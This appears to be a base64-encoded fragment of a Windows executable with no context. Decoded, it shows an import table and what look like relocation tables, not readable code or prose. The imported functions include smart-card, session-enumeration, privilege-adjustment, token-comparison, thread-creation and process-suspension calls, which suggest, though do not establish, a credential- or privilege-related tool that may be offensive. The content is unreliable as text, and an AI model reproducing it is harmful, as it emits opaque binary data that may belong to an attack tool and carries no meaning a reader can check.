VVBBUEkuZGxsAAAqAFNDYXJkTGlzdFJlYWRlcnNXABYAU0NhcmRHZXRDYXJkVHlwZVByb3ZpZGVyTmFtZVcAJABTQ2FyZExpc3RDYXJkc1cAMwBTQ2FyZFJlbGVhc2VDb250ZXh0AAwAU0NhcmRFc3RhYmxpc2hDb250ZXh0AAoAU0NhcmREaXNjb25uZWN0ABQAU0NhcmRHZXRBdHRyaWIAABMAU0NhcmRGcmVlTWVtb3J5AAgAU0NhcmRDb25uZWN0VwBXaW5TQ2FyZC5kbGwAAB8AV2luU3RhdGlvbkVudW1lcmF0ZVcAABoAV2luU3RhdGlvbkNvbm5lY3RXAAAjAFdpblN0YXRpb25GcmVlTWVtb3J5AAAXAFdpblN0YXRpb25DbG9zZVNlcnZlcgAzAFdpblN0YXRpb25RdWVyeUluZm9ybWF0aW9uVwAxAFdpblN0YXRpb25PcGVuU2VydmVyVwBXSU5TVEEuZGxsAABXTERBUDMyLmRsbAABAEFfU0hBSW5pdAAAAEFfU0hBRmluYWwAAAIAQV9TSEFVcGRhdGUAYWR2YXBpMzIuZGxsAAAEAEFTTjFfQ2xvc2VFbmNvZGVyAAAAQVNOMUJFUkRvdFZhbDJFb2lkAAAJAEFTTjFfRnJlZUVuY29kZWQAAAcAQVNOMV9DcmVhdGVFbmNvZGVyAAAFAEFTTjFfQ2xvc2VNb2R1bGUAAAYAQVNOMV9DcmVhdGVEZWNvZGVyAAADAEFTTjFfQ2xvc2VEZWNvZGVyAAgAQVNOMV9DcmVhdGVNb2R1bGUAbXNhc24xLmRsbAAAFgBSdGxGcmVlQW5zaVN0cmluZwAkAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABgAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABMAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAVAFJ0bEVxdWFsVW5pY29kZVN0cmluZwAeAFJ0bEluaXRVbmljb2RlU3RyaW5nAAADAE50UXVlcnlPYmplY3QAGgBSdGxHZXRDb21wcmVzc2lvbldvcmtTcGFjZVNpemUAABAAUnRsQ29tcHJlc3NCdWZmZXIABgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAAIATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAbAFJ0bEdldEN1cnJlbnRQZWIAABEAUnRsQ3JlYXRlVXNlclRocmVhZAAZAFJ0bEdVSURGcm9tU3RyaW5nACMAUnRsU3RyaW5nRnJvbUdVSUQAAABOdENvbXBhcmVUb2tlbnMAHABSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAPAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAAJgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAAOAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAABcAUnRsRnJlZU9lbVN0cmluZwAAJwBSdGxVcGNhc2VVbmljb2RlU3RyaW5nVG9PZW1TdHJpbmcABwBOdFJlc3VtZVByb2Nlc3MADQBSdGxBZGp1c3RQcml2aWxlZ2UAAAwATnRUZXJtaW5hdGVQcm9jZXNzAAALAE50U3VzcGVuZFByb2Nlc3MAAAkATnRTZXRTeXN0ZW1FbnZpcm9ubWVudFZhbHVlRXgABQBOdFF1ZXJ5U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAEATnRFbnVtZXJhdGVTeXN0ZW1FbnZpcm9ubWVudFZhbHVlc0V4AAAfAFJ0bElwdjRBZGRyZXNzVG9TdHJpbmdXACAAUnRsSXB2NkFkZHJ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BAAACMAkwHTArMEAwtzDIMM4w2TDtMCgxPDFvMXoxgjGKMZwxqjHNMdQx3THtMTsySzJUMm0ydzKVMsEy6jIFMw0zHzMtM+0z+DP+MxQ0PzRsNHc0gDSPNKk0FjUeNUI1SjVQNXY1fTWMNbI1ujXANdE12zUANjg2UzZaNmE2aDZtNn42jzaZNqw2yTbQNtg25jb1Nh83RDdsN3M3eze9N8w34DdnOG84dTiDOIs4qDj5OCY5NjlbOX05pjnBOdE52DntOfQ5BzoOOiM6Kjo6OkQ6XTppOnk6gzqcOqg6uDrCOts65Tr+Ogg7FDsbOzQ7PjtKO1E7XTtkO3A7dzu2O+g7RjxePIo8jzy+PNA82jzhPOY89zwGPZE9lj2wPdg95z3uPQA+Bz4+PlE+XT4ZP0g/UD9WP2M/qT/UPwAAAJAFAFgBAABwMHowgTCmMMsw2jDnMOww/zAEMTQxRjFQMVcxXDFtMX0x2jEBMhoyHzJSMmQyazJyMnkyfjKPMp8yqDK2MsYy0zI0MzkzZTN4M38zhjONM5IzozO0M70z3jMFNBY0JDQxND80STRTNF00ZzRxNHs0hTSPNJo0qjSwNLo0zDTmNOw0+zQCNQs1ETUXNSA1JzVNNWI1aTVvNXk1gjW2NdE1HDYiNjA2PzZFNkw2VTaSNsA20Db0NhA3ITcuN0c3XDdjN2k3dDeTN6g30jcaOEQ4TzhlOHc4kTimOLI4uDjNOPI4DDkSOSc5dDmAOYY5mznAOdM57zkQOh06Kzo1Oj86STpTOl06ZzpxOnw61joFOxU7LDs9O047UztsO3E7fjvLO+g78jsAPBI8JzxlPHc8MT1kPa09wD3TPTE+9D4lP3Q/hz+aP6Y/tj/HP+0/AAAAoAUASAEAAAIwCTAPMCEwKzCJMJYwvTDFMN4wGDEzMT8xTjFXMWQxkzGbMawxsjG4MeExEjK9Mtwy5jL3MgMzDDMRMzczPDNhM3EzjjPSM9sz5jPtMw00EzQZNB80JTQrNDI0OTRANEc0TjRVNFw0ZDRsNHQ0gDSJNI40lDSeNKg0uDTINNg04TTzNAE1HDUnNa81uDXANQc2FjYdNlM2XDZpNnQ2fTaQNpo2oDamNqw2sja4Nr42xDbKNtA21jbcNuI26DbuNvQ2+jYANwY3DDcSNxg3HjckNyo3MDc2Nzw3QjdIN043VDdaN2A3ZjdsN3I3eDd+N4Q3ijeQN5Y3nDeiN6g3rje0N7o3wDfGN8w30jfYN9435DfqN/A39jf8NwI4CDgUOMo4ZjnKOlQ9Zz2FPZM9QT94P38/hD+IP4w/kD/mPwAAALAFALwAAAArMDAwNDA4MDww/zJ3M38zkTPqMxU0tDQFNRg1kDVFNlE2aDeZN643yDfiN/A39jcRODk4TThpOHM4fTiLOKY4tzjDON84/zgNORQ5Gjk5OUU5gTmROag5sDnaOfY5BToROh86QTpROlY6WzqCOos6kDqVOrk6xTrKOs868zr/OgQ7CTswOzw7QTtGO3Y7fjuDO5M7nTvCO9Q74DvqO/w7ATwcPIE8jTwFPR89KD1KPcw9SD8AwAUAaAAAAM0woTeqN7I3UDhtOYI5pDm2Odg57TmBOxY8GjwePCI8JjwqPC48MjyqPDY9Oj0+PUI9Rj1KPU49Uj3KPWY+aj5uPnI+dj56Pn4+gj76PoY/ij+OP5I/lj+aP54/oj8AAADQBQAsAAAAKDiFOkA9XD1gP